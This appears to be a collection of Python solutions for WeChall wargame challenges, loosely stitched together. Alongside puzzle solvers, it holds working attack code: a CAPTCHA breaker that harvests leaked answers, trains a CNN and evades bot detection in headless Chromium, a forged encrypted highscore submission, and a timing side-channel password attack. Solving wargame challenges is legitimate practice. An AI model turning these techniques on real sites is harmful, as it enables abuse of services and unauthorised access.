Hello Navi

KOC_ORDER = 'URFDLB'
SERVER_ORDER = 'ULFRBD'
M = []
for face in SERVER_ORDER:
    kf = KOC_ORDER.index(face) * 9
    M.extend(range(kf, kf + 9))

def cs_to_kociemba(cs):
    out = ['?'] * 54
    for i, ch in enumerate(cs):
        out[M[i]] = ch
    return ''.join(out)

def digit_to_letter(facelet):
    centers = {i: facelet[i] for i in (4, 13, 22, 31, 40, 49)}
    faces = {4: 'U', 13: 'R', 22: 'F', 31: 'D', 40: 'L', 49: 'B'}
    d2l = {centers[i]: faces[i] for i in centers}
    return ''.join(d2l[c] for c in facelet)

#!/usr/bin/env python3
"""WeChall Rubik's Cube solver: cubestring -> kociemba -> submit moves."""
import re
import urllib.request
import time

COOKIE = 'WC=YOUR_COOKIE_HERE'
BASE = 'https://www.wechall.net/en/challenge/space/rubikcube/api.php?move='
INDEX = 'https://www.wechall.net/en/challenge/space/rubikcube/index.php'

KOC_ORDER = 'URFDLB'
SERVER_ORDER = 'ULFRBD'
M = []
for face in SERVER_ORDER:
    kf = KOC_ORDER.index(face) * 9
    M.extend(range(kf, kf + 9))

def cs_to_kociemba(cs):
    out = ['?'] * 54
    for i, ch in enumerate(cs):
        out[M[i]] = ch
    return ''.join(out)

def digit_to_letter(facelet):
    centers = {i: facelet[i] for i in (4, 13, 22, 31, 40, 49)}
    faces = {4: 'U', 13: 'R', 22: 'F', 31: 'D', 40: 'L', 49: 'B'}
    d2l = {centers[i]: faces[i] for i in centers}
    return ''.join(d2l[c] for c in facelet)

# --- server Cube (ported from cube.php) ---

def rotate(cs, count=1):
    moves = {0: 2, 2: 8, 8: 6, 6: 0, 1: 5, 5: 7, 7: 3, 3: 1}
    out = cs
    for _ in range(count):
        ocube = out
        lst = list(out)
        for k, v in moves.items():
            lst[v] = ocube[k]
        out = ''.join(lst)
    return out

class Cube:
    def __init__(self, cube):
        self.cube = cube

    def move(self, moves):
        for mv in moves.split(' '):
            if mv == '':
                continue
            count = 3 if "'" in mv else (2 if '2' in mv else 1)
            mv = mv[0]
            funcs = {'F': 'front', 'R': 'right', 'B': 'back', 'U': 'up',
                     'L': 'left', 'D': 'down'}
            if mv in funcs:
                for _ in range(count):
                    getattr(self, funcs[mv])()

    def isSolved(self):
        a = sorted([self.cube[i*9:(i+1)*9] for i in range(6)])
        b = sorted([str(i+1)*9 for i in range(6)])
        return a == b

    def front(self):
        c = self.cube
        m = {6: 27, 7: 30, 8: 33, 27: 47, 30: 46, 33: 45,
             45: 11, 46: 14, 47: 17, 11: 8, 14: 7, 17: 6}
        lst = list(c)
        for k, v in m.items():
            lst[v] = c[k]
        lst[18:27] = rotate(''.join(lst[18:27]))
        self.cube = ''.join(lst)

    def Y(self):
        self.cube = (rotate(self.cube[0:9], 1) +
                     self.cube[18:27] + self.cube[27:36] +
                     self.cube[36:45] + self.cube[9:18] +
                     rotate(self.cube[45:54], 3))

    def X(self):
        self.cube = (self.cube[2*9:3*9] +
                     rotate(self.cube[1*9:2*9], 3) +
                     self.cube[5*9:6*9] +
                     rotate(self.cube[3*9:4*9], 1) +
                     rotate(self.cube[0*9:1*9], 2) +
                     rotate(self.cube[4*9:5*9], 2))

    def right(self):
        self.Y(); self.front(); self.Y(); self.Y(); self.Y()

    def back(self):
        self.Y(); self.Y(); self.front(); self.Y(); self.Y()

    def left(self):
        self.Y(); self.Y(); self.Y(); self.front(); self.Y()

    def up(self):
        self.X(); self.X(); self.X(); self.front(); self.X()

    def down(self):
        self.X(); self.front(); self.X(); self.X(); self.X()

# --- main ---

import kociemba

# 1. Fetch current cubestring
req = urllib.request.Request(INDEX, headers={'Cookie': COOKIE})
body = urllib.request.urlopen(req, timeout=30).read().decode()
cs = re.search(r'<noscript id="cubestring">([0-9]+)</noscript>', body).group(1)
print(f"Cubestring: {cs}")

# 2. Convert to kociemba facelet and solve
kf = digit_to_letter(cs_to_kociemba(cs))
sol = kociemba.solve(kf)
moves = sol.split()
print(f"Solution ({len(moves)} moves): {sol}")

# 3. Verify locally
c = Cube(cs)
c.move(sol)
assert c.isSolved(), "Local verification failed!"

# 4. Submit moves to server
for i, mv in enumerate(moves):
    url = BASE + mv.replace("'", "%27")
    req = urllib.request.Request(url, headers={'Cookie': COOKIE})
    resp = urllib.request.urlopen(req, timeout=30).read().decode()
    text = re.sub(r'<[^>]+>', ' ', resp)
    print(f"  [{i+1}/{len(moves)}] {mv} -> {' '.join(text.split())[:80]}")
    if 'solved' in resp.lower():
        print("*** SOLVED! ***")
        break
    time.sleep(0.3)

# 5. Verify on /en/challs
req = urllib.request.Request('https://www.wechall.net/en/challs',
                             headers={'Cookie': COOKIE})
challs = urllib.request.urlopen(req, timeout=30).read().decode()
idx = challs.find('Rubik')
if idx >= 0 and 'wc_chall_solved' in challs[idx-300:idx+300]:
    print("Confirmed: Rubik's Cube SOLVED on WeChall!")

import collections

with open('bytes.jpg', 'rb') as f:
    data = f.read()

freq = collections.Counter(data)
freq_seq = [freq.get(i, 0) for i in range(256)]

# 频率值 → ASCII 字符
text = ''.join(chr(f) if 32 <= f < 128 else f'[{f}]' for f in freq_seq)
print(text)
# 输出: [163][301]dahditdahdahgapditgapditditditgapdahgap...dahdahdah[256][256]

# 去掉结构标记，只保留 Morse 文字
morse_part = text.replace('[163]', '').replace('[301]', '').replace('[256]', '')
morse_chars = [c for c in morse_part.split('gap') if c]
symbols = [c.replace('dah', '-').replace('dit', '.') for c in morse_chars]

MORSE = {
    '.-': 'A', '-...': 'B', '-.-.': 'C', '-..': 'D', '.': 'E',
    '..-.': 'F', '--.': 'G', '....': 'H', '..': 'I', '.---': 'J',
    '-.-': 'K', '.-..': 'L', '--': 'M', '-.': 'N', '---': 'O',
    '.--.': 'P', '--.-': 'Q', '.-.': 'R', '...': 'S', '-': 'T',
    '..-': 'U', '...-': 'V', '.--': 'W', '-..-': 'X', '-.--': 'Y',
    '--..': 'Z',
}

decoded = ''.join(MORSE.get(s, f'[{s}]') for s in symbols)
print(decoded)

#!/usr/bin/env python3
"""WeChall Inka fast submit: GET painting -> decode QR -> POST answer within limit."""
import re, subprocess, sys, time
import numpy as np
from zxingcpp import read_barcode

URL = 'https://www.wechall.net/challenge/inka/inka.php'
JAR = '/tmp/anubis_inka_jar.txt'             # anubis cookie jar
WC = 'WC=<your-session-cookie>'
UA = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36'

def curl(url):
    return subprocess.run(['curl', '-s', '--max-time', '30', '-b', JAR, '-b', WC,
                           '-A', UA, '-H', f'Referer: {URL.rsplit("/", 1)[0]}/index.php', url],
                          capture_output=True, text=True).stdout

def decode_qr(A, B, C):
    N = int(A, 2) * int(B, 2) + int(C, 2)
    s = bin(N)[2:].rjust(625, '0')
    mat = np.array([[1 if c == '1' else 0 for c in s[i * 25:(i + 1) * 25]] for i in range(25)], dtype=np.uint8)
    img = np.pad(255 - mat * 255, 4, constant_values=255)  # 1=white, quiet zone
    res = read_barcode(img)
    return res.text if res else None

for attempt in range(10):
    body = curl(URL)
    if 'Making sure' in body or not body:
        time.sleep(2); continue               # anubis 挡，重试
    A, B, C = re.findall(r'[01]+', body.strip())
    ans = decode_qr(A, B, C)
    resp = curl(f'{URL}?answer={ans}') if ans else 'DECODE FAIL'
    print(f'[{attempt}] answer={ans} | resp: {resp[:120].strip()}')
    if 'slow' not in resp and 'DECODE FAIL' not in resp:
        break

#!/usr/bin/env python3
import hashlib
import sys


def matches(md5_hex: str, partial: str) -> bool:
    """partial: 16 个 nibble，每字节显示高或低 nibble"""
    for i in range(16):
        bv = int(md5_hex[i * 2:i * 2 + 2], 16)
        pn = int(partial[i], 16)
        if pn != ((bv >> 4) & 0xF) and pn != (bv & 0xF):
            return False
    return True


def crack(start: int, end: int, partial: str):
    """按字典序索引 [start, end) 搜索 7 位小写字母明文"""
    for k in range(start, end):
        v = k
        chars = []
        for _ in range(7):
            chars.append(chr(ord('a') + v % 26))
            v //= 26
        cand = ''.join(reversed(chars))
        if matches(hashlib.md5(cand.encode()).hexdigest(), partial):
            return cand
    return None


if __name__ == '__main__':
    partial = sys.argv[1] if len(sys.argv) > 1 else "3a45b89f570f5527"
    start = int(sys.argv[2]) if len(sys.argv) > 2 else 0
    end = int(sys.argv[3]) if len(sys.argv) > 3 else 26 ** 7
    ans = crack(start, end, partial)
    print(f"ANSWER: {ans}")

#!/usr/bin/env python3
"""Collect labeled crackcha images via answer-leak (submit wrong answer -> server reveals real one)."""
import sys, time, os, re
from playwright.sync_api import sync_playwright

COOKIE = 'YOUR_WC_SESSION_ID'          # 裸 session id，不要带 WC= 前缀
BASE = 'https://www.wechall.net/en/challenge/crackcha'
CHROME = '/home/kita/.cache/ms-playwright/chromium-1217/chrome-linux64/chrome'
N = int(sys.argv[1]) if len(sys.argv) > 1 else 150
IMGDIR = 'dataset/images'
os.makedirs(IMGDIR, exist_ok=True)
TSV = 'dataset/answers.tsv'

def leak_answer(text):
    m = re.search(r'Correct would have been ([A-Z]{5})', text)
    return m.group(1) if m else None

def main():
    with sync_playwright() as p:
        browser = p.chromium.launch(headless=True, executable_path=CHROME,
            args=['--disable-blink-features=AutomationControlled', '--no-sandbox'])
        ctx = browser.new_context(user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) '
            'AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36')
        ctx.add_cookies([{'name': 'WC', 'value': COOKIE, 'domain': '.wechall.net', 'path': '/'}])
        page = ctx.new_page()
        page.goto(BASE + '/index.php', wait_until='domcontentloaded', timeout=60000)
        try:
            page.wait_for_load_state('networkidle', timeout=15000)
        except Exception:
            pass
        for i in range(30):   # Turnstile 自动解决，轮询等 challenge 页出现
            try:
                html = page.content()
            except Exception:
                time.sleep(2); continue
            if 'Crackcha' in html and 'problem.php' in html:
                break
            time.sleep(2)

        got = 0
        with open(TSV, 'a') as tsv:
            while got < N:
                img = None
                for attempt in range(4):   # round 重置时 problem 返回文本，重试
                    resp = page.request.get(BASE + '/problem.php')
                    body = resp.body()
                    if body[:2] == b'\xff\xd8':
                        img = body; break
                    time.sleep(1.5)
                if img is None:
                    print('  problem fetch failed'); time.sleep(2); continue
                fn = f'img{got:04d}.jpg'
                with open(os.path.join(IMGDIR, fn), 'wb') as f:
                    f.write(img)
                text = page.request.get(BASE + '/answer.php', params={'answer': 'AAAAA'}).text()
                real = leak_answer(text)
                if real is None:
                    print(f'  {got}: no leak in response: {text[:80]}')
                    os.remove(os.path.join(IMGDIR, fn))
                    time.sleep(2); continue
                tsv.write(f'{fn}\t{real}\n')
                tsv.flush()
                got += 1
                if got % 10 == 0:
                    print(f'  collected {got}/{N} (last: {fn} {real})')
                time.sleep(0.4)
        browser.close()
    print(f'done: {got} samples in {IMGDIR}')

if __name__ == '__main__':
    main()

#!/usr/bin/env python3
"""Train with more data + mild augmentation + bigger model."""
import os, random
import numpy as np
import torch
import torch.nn as nn
from PIL import Image, ImageDraw

torch.manual_seed(42)
np.random.seed(42)
random.seed(42)

DS = 'dataset'
OUT = 'model.pt'
DEV = 'cuda' if torch.cuda.is_available() else 'cpu'

def get_slot(a, i):
    x0 = 10 + 42 * i
    s = a[:, x0:x0+42]
    if s.shape[1] < 42:
        s = np.pad(s, ((0, 0), (0, 42 - s.shape[1])))
    return s

def load_data():
    xs, ys = [], []
    with open(os.path.join(DS, 'answers.tsv')) as f:
        rows = [l.split() for l in f if l.strip()]
    for fn, ans in rows:
        a = np.array(Image.open(os.path.join(DS, 'images', fn)).convert('L'), dtype=np.float32)
        for i, ch in enumerate(ans):
            xs.append(get_slot(a, i))
            ys.append(ord(ch) - 65)
    X = np.stack(xs) / 255.0
    Y = np.array(ys)
    return X, Y

def aug(x):
    im = (1.0 - x) * 255.0
    img = Image.fromarray(im.astype(np.uint8))
    img = img.rotate(random.uniform(-6, 6), fillcolor=0)
    dx = random.randint(-2, 2); dy = random.randint(-2, 2)
    img = img.transform(img.size, Image.AFFINE, (1, 0, dx, 0, 1, dy), fillcolor=0)
    if random.random() < 0.5:   # 模拟干扰线
        d = ImageDraw.Draw(img)
        for _ in range(random.randint(1, 2)):
            d.line([(random.randint(0, 41), random.randint(0, 41)),
                    (random.randint(0, 41), random.randint(0, 41))],
                   fill=random.randint(110, 170), width=random.randint(1, 2))
    arr = np.array(img, dtype=np.float32) * random.uniform(0.9, 1.1)
    return 1.0 - arr / 255.0

class Net(nn.Module):
    def __init__(self):
        super().__init__()
        self.net = nn.Sequential(
            nn.Conv2d(1, 32, 3, padding=1), nn.ReLU(), nn.MaxPool2d(2),
            nn.Conv2d(32, 64, 3, padding=1), nn.ReLU(), nn.MaxPool2d(2),
            nn.Conv2d(64, 128, 3, padding=1), nn.ReLU(), nn.MaxPool2d(2),
            nn.Flatten(),
            nn.Linear(128 * 5 * 5, 256), nn.ReLU(), nn.Dropout(0.4),
            nn.Linear(256, 26),
        )
    def forward(self, x):
        return self.net(x)

def main():
    X, Y = load_data()
    print(f'data: {X.shape}, device {DEV}')
    n_img = len(X) // 5
    rng = np.random.RandomState(1)
    val_img_ids = set(rng.choice(n_img, max(1, n_img // 8), replace=False))
    tr_idx = [i for i in range(len(X)) if i // 5 not in val_img_ids]
    va_idx = [i for i in range(len(X)) if i // 5 in val_img_ids]
    Xtr, Ytr, Xva, Yva = X[tr_idx], Y[tr_idx], X[va_idx], Y[va_idx]
    print(f'train {len(Xtr)} val {len(Xva)}')

    model = Net().to(DEV)
    opt = torch.optim.Adam(model.parameters(), lr=2e-3)
    lossf = nn.CrossEntropyLoss()
    Xva_t = torch.tensor(Xva, dtype=torch.float32).unsqueeze(1).to(DEV)
    Yva_t = torch.tensor(Yva, dtype=torch.long).to(DEV)

    best_va = 0; best_state = None
    for epoch in range(40):
        model.train()
        perm = np.random.permutation(len(Xtr))
        for start in range(0, len(perm), 128):
            idx = perm[start:start+128]
            bx = np.stack([aug(Xtr[i]) for i in idx])
            xb = torch.tensor(bx, dtype=torch.float32).unsqueeze(1).to(DEV)
            yb = torch.tensor(Ytr[idx], dtype=torch.long).to(DEV)
            opt.zero_grad()
            loss = lossf(model(xb), yb)
            loss.backward(); opt.step()
        model.eval()
        with torch.no_grad():
            va_acc = (model(Xva_t).argmax(1) == Yva_t).float().mean().item()
        print(f'epoch {epoch}: val_acc {va_acc:.4f}')
        if va_acc > best_va:
            best_va = va_acc
            best_state = {k: v.clone() for k, v in model.state_dict().items()}
        if va_acc > 0.98:
            break
    torch.save({'model': best_state}, OUT)
    print(f'saved {OUT} best_val={best_va:.4f}')

if __name__ == '__main__':
    main()

#!/usr/bin/env python3
"""Final Crackcha run: solve until 468, monitoring solved count."""
import time, os, re
import numpy as np
import torch
from PIL import Image
import io
from playwright.sync_api import sync_playwright
from train_cnn2 import Net, get_slot

COOKIE = 'YOUR_WC_SESSION_ID'
BASE = 'https://www.wechall.net/en/challenge/crackcha'
CHROME = '/home/kita/.cache/ms-playwright/chromium-1217/chrome-linux64/chrome'
DEV = 'cuda'
CONF_MIN = 0.7          # 置信度阈值：低于则丢弃本轮不提交
TARGET = 468
HARD_TIME = 3600        # 秒上限（可跨 round 重置继续跑）

model = Net().to(DEV)
model.load_state_dict(torch.load('model.pt', map_location=DEV)['model'])
model.eval()

def recog(b):
    a = np.array(Image.open(io.BytesIO(b)).convert('L'), dtype=np.float32)
    slots = np.stack([get_slot(a, i) for i in range(5)]) / 255.0
    x = torch.tensor(slots, dtype=torch.float32).unsqueeze(1).to(DEV)
    with torch.no_grad():
        p = torch.softmax(model(x), 1).cpu().numpy()
    # 5 个字符各自 top1 概率的最小值 = 本轮置信度
    return ''.join(chr(65 + int(r.argmax())) for r in p), float(p.max(axis=1).min())

def parse_solved(text):
    m = re.search(r'cracked captcha (\d+) of', text)
    return int(m.group(1)) if m else None

def main():
    t0 = time.time()
    solved = 0
    rounds = 0
    with sync_playwright() as p:
        browser = p.chromium.launch(headless=True, executable_path=CHROME,
            args=['--disable-blink-features=AutomationControlled', '--no-sandbox'])
        ctx = browser.new_context(user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) '
            'AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36')
        ctx.add_cookies([{'name': 'WC', 'value': COOKIE, 'domain': '.wechall.net', 'path': '/'}])
        page = ctx.new_page()
        page.goto(BASE + '/index.php', wait_until='domcontentloaded', timeout=60000)
        try:
            page.wait_for_load_state('networkidle', timeout=15000)
        except Exception:
            pass
        for i in range(60):
            try:
                html = page.content()
            except Exception:
                time.sleep(2); continue
            if 'Crackcha' in html and 'problem.php' in html:
                break
            if 'Making sure' in html or 'not a bot' in html:
                print(f'  turnstile page, waiting for auto-solve')
                time.sleep(15)
            else:
                time.sleep(2)

        while solved < TARGET:
            if time.time() - t0 > HARD_TIME:
                print(f'HARD TIME LIMIT reached at solved={solved}')
                break
            img = None
            for attempt in range(4):
                resp = page.request.get(BASE + '/problem.php')
                body = resp.body()
                if body[:2] == b'\xff\xd8':
                    img = body; break
            if img is None:
                print('  problem failed, retrying'); time.sleep(2); continue
            rounds += 1
            guess, conf = recog(img)
            if conf < CONF_MIN:          # 低置信度直接丢弃，不提交
                time.sleep(0.5)
                continue
            text = page.request.get(BASE + '/answer.php', params={'answer': guess}).text()
            if 'too much' in text.lower():
                print(f'  RATE LIMITED at solved={solved}, cooling 60s')
                time.sleep(60)
                continue
            ns = parse_solved(text)
            if ns is not None and ns > solved:
                solved = ns
                if solved % 25 == 0:
                    dt = time.time() - t0
                    rate = solved / dt
                    eta = (TARGET - solved) / rate if rate > 0 else 0
                    print(f'  [{dt:.0f}s] solved={solved}/468 rounds={rounds} '
                          f'({rate*60:.1f}/min, ETA {eta/60:.1f}min)')
            elif ns is not None and ns < solved:
                print(f'  !! round reset detected: solved {solved} -> {ns}')
                solved = ns
            else:
                m = re.search(r'Correct would have been ([A-Z]{5})', text)
                print(f'  miss guess={guess} conf={conf:.3f} real={m.group(1) if m else "?"}')
            time.sleep(1.1)              # 限速控制：总频率 ~55 req/min
        browser.close()
    print(f'\nDONE: solved={solved} rounds={rounds} in {time.time()-t0:.0f}s')

if __name__ == '__main__':
    main()

#!/usr/bin/env python3
import hashlib, time, urllib.parse, urllib.request

NAME = "<your_wechall_username>"   # 你的 WeChall 用户名
SESS = "<your_session_cookie>"     # WC cookie 值
BASE = "https://www.wechall.net/en/challenge/snake"
UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120 Safari/537.36"

def gwf_crypt(data, key):
    """GWF_Crypt: out[i] = key[ki % len] ^ c ^ 101；key 索引按递增步长循环（wrap 后步长 +1）"""
    keylen = len(key); out = []; step = 1; ki = -1
    for c in data:
        ki += step
        if ki >= keylen: ki = 0; step += 1
        if step >= keylen: step = 1
        out.append(chr(ord(key[ki % keylen]) ^ ord(c) ^ 101))
    return "".join(out)

def post(msg):
    """POST 加密 payload 到 CGI_Highscore.php"""
    body = "encrypted=" + urllib.parse.quote_plus(gwf_crypt(msg, "Snake$Poors!"))
    req = urllib.request.Request(BASE + "/CGI_Highscore.php", data=body.encode(),
        headers={"User-Agent": UA, "Content-Type": "application/x-www-form-urlencoded",
                 "Referer": BASE + "/index.php", "Cookie": "WC=" + SESS})
    with urllib.request.urlopen(req, timeout=25) as res:
        return res.status, res.read().decode("utf-8", "replace")

def get(url):
    """GET 页面（带 session cookie）"""
    req = urllib.request.Request(url, headers={"User-Agent": UA, "Cookie": "WC=" + SESS})
    with urllib.request.urlopen(req, timeout=25) as res:
        return res.read().decode("utf-8", "replace")

K = 10                        # 集齐 5 个字母食物的轮数
B, C, H = 250, 250, 0         # banana / cherry / hemp 数量
SC = 300000
L = 14 + 4*B + 6*C - 2*H + 5*K          # 蛇长
M = "%.2f" % (1.0 + 0.5*K)              # multiplier
A = 500*K + 125*K*(K-1)                 # 字母分合计
SIGMA = 250*B + 750*C + 500*H           # 食物分合计
mn, mx = 10*L + A + SIGMA, 10*L + A + (1.0+0.5*K)*SIGMA
assert mn <= SC <= mx, f"score {SC} not in [{mn}, {mx}]"
md5 = hashlib.md5(f"{B}:{C}:{H}:{L}:{SC}".encode()).hexdigest().upper()

print("step 1: GET 挑战页（会话计时开始）")
get(BASE + "/index.php")
print("step 2: 等待 300 秒（90 秒实验失败过，建议 ≥5 分钟）")
time.sleep(300)
print("step 3: HT_RATE（写 trixx.txt，7 秒窗口起点）")
r = post(f"cmd=HT_RATE&score={SC}&sessid={SESS}")
print("RATE:", r[0], repr(r[1][:30]))
time.sleep(2)
print("step 4: HT_INSERT（同分，7 秒内）")
r = post(f"cmd=HT_INSERT&score={SC}&name={NAME}&length={L}&hemps={H}"
         f"&cherries={C}&bananas={B}&multi={M}&md5={md5}&sessid={SESS}")
print("INSERT:", r[0], repr(r[1][:80]))
if "Very well done" in r[1]:
    print("SUCCESS - challenge solved!")
else:
    print("NOT solved yet - response above")

#!/usr/bin/env python3
"""Luggage: QR = row(2) + reverse(unix_ts_berlin) + '0'"""
from datetime import datetime, timedelta
import zoneinfo, sys

def solve(date_str, time_str, row):
    """date_str: 'Feb 17, 2024', time_str: '15:11:29', row: 9"""
    dt = datetime.strptime(f"{date_str} {time_str}", "%b %d, %Y %H:%M:%S")
    # challenge times are Europe/Berlin; convert to UTC
    berlin = zoneinfo.ZoneInfo("Europe/Berlin")
    dt = dt.replace(tzinfo=berlin)
    ts = int(dt.timestamp())          # UTC epoch
    return f"{row:02d}{str(ts)[::-1]}0"

if __name__ == "__main__":
    # 目标从挑战页复制: "Feb 17, 2024 - 15:11:29 in locker 23 row 9"
    ans = solve("Feb 17, 2024", "15:11:29", 9)
    print(ans)   # 0998097180710

#!/usr/bin/env python3
"""Out of the Cloud — 0/1 文本 → 位反转 → 点云 → 镜像渲染"""
import re
from PIL import Image, ImageOps

# cloud.txt 的 0/1 文本
with open('cloud.txt') as f:
    content = f.read().replace('\n', '').strip()

def rev8(b: int) -> int:
    """按位反转一个字节"""
    r = 0
    for i in range(8):
        r = (r << 1) | ((b >> i) & 1)
    return r

# Step 1: 0/1 → bytes
data = bytes(int(content[i:i+8], 2) for i in range(0, len(content), 8))

# Step 2: 去掉头尾 20 字节 0x04 填充，按块 (b0 50 de ... be) 切分
core = data[20:-20]
blocks = []
i = 0
while i < len(core):
    if core[i:i+3] != b'\xb0\x50\xde':
        i += 1
        continue
    j = core.find(b'\xbe', i + 3)
    if j == -1:
        blocks.append(core[i:])
        break
    blocks.append(core[i:j+1])
    i = j + 1

# Step 3: 位反转 → ASCII 文本 {x,y,z}
text = ''.join(''.join(chr(rev8(b)) for b in blk) for blk in blocks)
text = text.replace('\r\n', '\n').strip()
pts = [(int(x), int(y), int(z))
       for x, y, z in re.findall(r'\{(-?\d+),(-?\d+),(-?\d+)\}', text)]
print(f"points: {len(pts)}")

# Step 4: 渲染 128×128 灰度图（z 为亮度），左右镜像后保存
img = Image.new('L', (128, 128), 0)
px = img.load()
for x, y, z in pts:
    px[x + 64, 63 - y] = min(255, z)
img = ImageOps.mirror(img)          # 关键：左右翻转
img = img.resize((1024, 1024), Image.NEAREST)
img.save('cloud_mirror.png')
print("saved cloud_mirror.png — 图中文字即答案")

import requests
import time
import statistics
import re

BASE_URL = 'https://www2.wechall.net/en/challenge/training/timing1/index.php?ajax=1&nosess=1'
SUBMIT_URL = 'https://www2.wechall.net/en/challenge/training/timing1/index.php'
COOKIE = 'WC=<your_cookie>'  # 替换为你的 WeChall session cookie
PW_LEN = 12
CHARSET = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'

def get_csrf():
    s = requests.Session()
    s.headers.update({'Cookie': COOKIE, 'User-Agent': 'Mozilla/5.0'})
    r = s.get(SUBMIT_URL, timeout=20)
    m = re.search(r'gwf3_csrf.*?value="([^"]+)"', r.text)
    return m.group(1) if m else None

csrf = get_csrf()
s = requests.Session()
s.headers.update({'Cookie': COOKIE, 'User-Agent': 'Mozilla/5.0'})
s.post(BASE_URL, data={'answer': 'x', 'solve': 'Submit', 'gwf3_csrf': csrf}, timeout=20)
time.sleep(0.1)

def med(answer, n=8):
    times = []
    for _ in range(n):
        for retry in range(2):
            try:
                start = time.perf_counter()
                r = s.post(BASE_URL, data={
                    'answer': answer, 'solve': 'Submit', 'gwf3_csrf': csrf
                }, timeout=20)
                r.content
                times.append(time.perf_counter() - start)
                break
            except:
                time.sleep(2)
    return statistics.median(times) if times else 0

password = ''
for pos in range(PW_LEN):
    pad = 'A' * (PW_LEN - len(password) - 1)
    candidates = []

    # Quick pass: 4-5 samples
    for c in CHARSET:
        t = med(password + c + pad, n=5)
        candidates.append((c, t))
    candidates.sort(key=lambda x: x[1], reverse=True)

    # Refine top 2: 12+ samples
    refined = []
    for c, _ in candidates[:2]:
        t = med(password + c + pad, n=12)
        refined.append((c, t))
    refined.sort(key=lambda x: x[1], reverse=True)

    best = refined[0]
    delta = best[1] - refined[1][1]
    password += best[0]
    print(f'[{pos+1:2d}/12] {best[0]} D={delta*1000:5.0f}ms  best={best[1]*1000:.0f}ms')

print(f'\nPassword: {password}')

# Submit
csrf2 = get_csrf()
s2 = requests.Session()
s2.headers.update({'Cookie': COOKIE, 'User-Agent': 'Mozilla/5.0'})
r2 = s2.post(SUBMIT_URL, data={
    'answer': password, 'solve': 'Submit', 'gwf3_csrf': csrf2
}, timeout=20)
print('Solved!' if 'Your answer is correct' in r2.text else 'Wrong')